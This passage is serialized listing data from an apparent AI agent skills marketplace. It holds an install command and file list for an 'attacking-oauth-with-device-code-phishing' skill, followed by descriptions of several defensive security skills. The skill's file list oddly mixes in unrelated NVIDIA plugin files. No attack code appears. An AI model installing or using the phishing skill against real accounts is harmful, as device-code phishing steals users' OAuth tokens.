--skill attacking-oauth-with-device-code-phishing",{"tool":81,"command":82},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill attacking-oauth-with-device-code-phishing","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fattacking-oauth-with-device-code-phishing\u002FSKILL.md",true,[86,92,96,101,105,109,115,119,123,127],{"path":87,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":90,"sourceHtmlUrl":91},"credentials.md","REFERENCE","参考文档",3629,"https:\u002F\u002Fgithub.com\u002FNVIDIA\u002FModel-Optimizer\u002Fblob\u002Fmain\u002Fplugins\u002Fmodelopt\u002Fskills\u002Fcommon\u002Fcredentials.md",{"path":93,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":94,"sourceHtmlUrl":95},"environment-setup.md",3009,"https:\u002F\u002Fgithub.com\u002FNVIDIA\u002FModel-Optimizer\u002Fblob\u002Fmain\u002Fplugins\u002Fmodelopt\u002Fskills\u002Fcommon\u002Fenvironment-setup.md",{"path":97,"resourceType":97,"resourceTypeDesc":98,"sizeBytes":99,"sourceHtmlUrl":100},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fattacking-oauth-with-device-code-phishing\u002FLICENSE",{"path":102,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":103,"sourceHtmlUrl":104},"references\u002Fapi-reference.md",3105,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fattacking-oauth-with-device-code-phishing\u002Freferences\u002Fapi-reference.md",{"path":106,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":107,"sourceHtmlUrl":108},"references\u002Fstandards.md",1494,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fattacking-oauth-with-device-code-phishing\u002Freferences\u002Fstandards.md",{"path":110,"resourceType":111,"resourceTypeDesc":112,"sizeBytes":113,"sourceHtmlUrl":114},"remote_exec.sh","SCRIPT","脚本",20523,"https:\u002F\u002Fgithub.com\u002FNVIDIA\u002FModel-Optimizer\u002Fblob\u002Fmain\u002Fplugins\u002Fmodelopt\u002Fskills\u002Fcommon\u002Fremote_exec.sh",{"path":116,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":117,"sourceHtmlUrl":118},"remote-execution.md",6941,"https:\u002F\u002Fgithub.com\u002FNVIDIA\u002FModel-Optimizer\u002Fblob\u002Fmain\u002Fplugins\u002Fmodelopt\u002Fskills\u002Fcommon\u002Fremote-execution.md",{"path":120,"resourceType":111,"resourceTypeDesc":112,"sizeBytes":121,"sourceHtmlUrl":122},"scripts\u002Fagent.py",6707,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fattacking-oauth-with-device-code-phishing\u002Fscripts\u002Fagent.py",{"path":124,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":125,"sourceHtmlUrl":126},"slurm-setup.md",11260,"https:\u002F\u002Fgithub.com\u002FNVIDIA\u002FModel-Optimizer\u002Fblob\u002Fmain\u002Fplugins\u002Fmodelopt\u002Fskills\u002Fcommon\u002Fslurm-setup.md",{"path":128,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":129,"sourceHtmlUrl":130},"workspace-management.md",5388,"https:\u002F\u002Fgithub.com\u002FNVIDIA\u002FModel-Optimizer\u002Fblob\u002Fmain\u002Fplugins\u002Fmodelopt\u002Fskills\u002Fcommon\u002Fworkspace-management.md",[132,156,180,208,234,261],{"skillNo":133,"name":134,"nameZh":6,"description":135,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":136,"categories":137,"keywords":139,"publishedAt":48},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[138],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[140,141,142,143,144,40,145,45,43,30,146,147,148,149,150,151,152,153,154,155],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","security","incident response","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":157,"name":158,"nameZh":6,"description":159,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":160,"categories":161,"keywords":163,"publishedAt":48},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[162],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[164,152,165,166,144,167,40,43,168,169,170,171,172,173,174,175,176,177,178,179],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":181,"name":182,"nameZh":6,"description":183,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":184,"categories":185,"keywords":190,"publishedAt":48},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[186,189],{"categoryNo":187,"categoryName":188,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[174,191,192,193,194,40,195,196,168,197,198,199,200,201,202,203,204,205,206,207],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":209,"name":210,"nameZh":6,"description":211,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":212,"categories":213,"keywords":215,"publishedAt":48},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[214],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[216,217,218,40,219,220,221,222,223,224,225,226,227,228,229,230,171,231,232,233],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":235,"name":236,"nameZh":6,"description":237,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":238,"categories":239,"keywords":241,"publishedAt":48},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[240],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[242,243,244,40,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":262,"name":263,"nameZh":6,"description":264,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":265,"categories":266,"keywords":268,"publishedAt":48},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[267],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[144,269,40,270,271,272,273,274,275,276,277,203,278,204,279,280,281,282,283,284],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]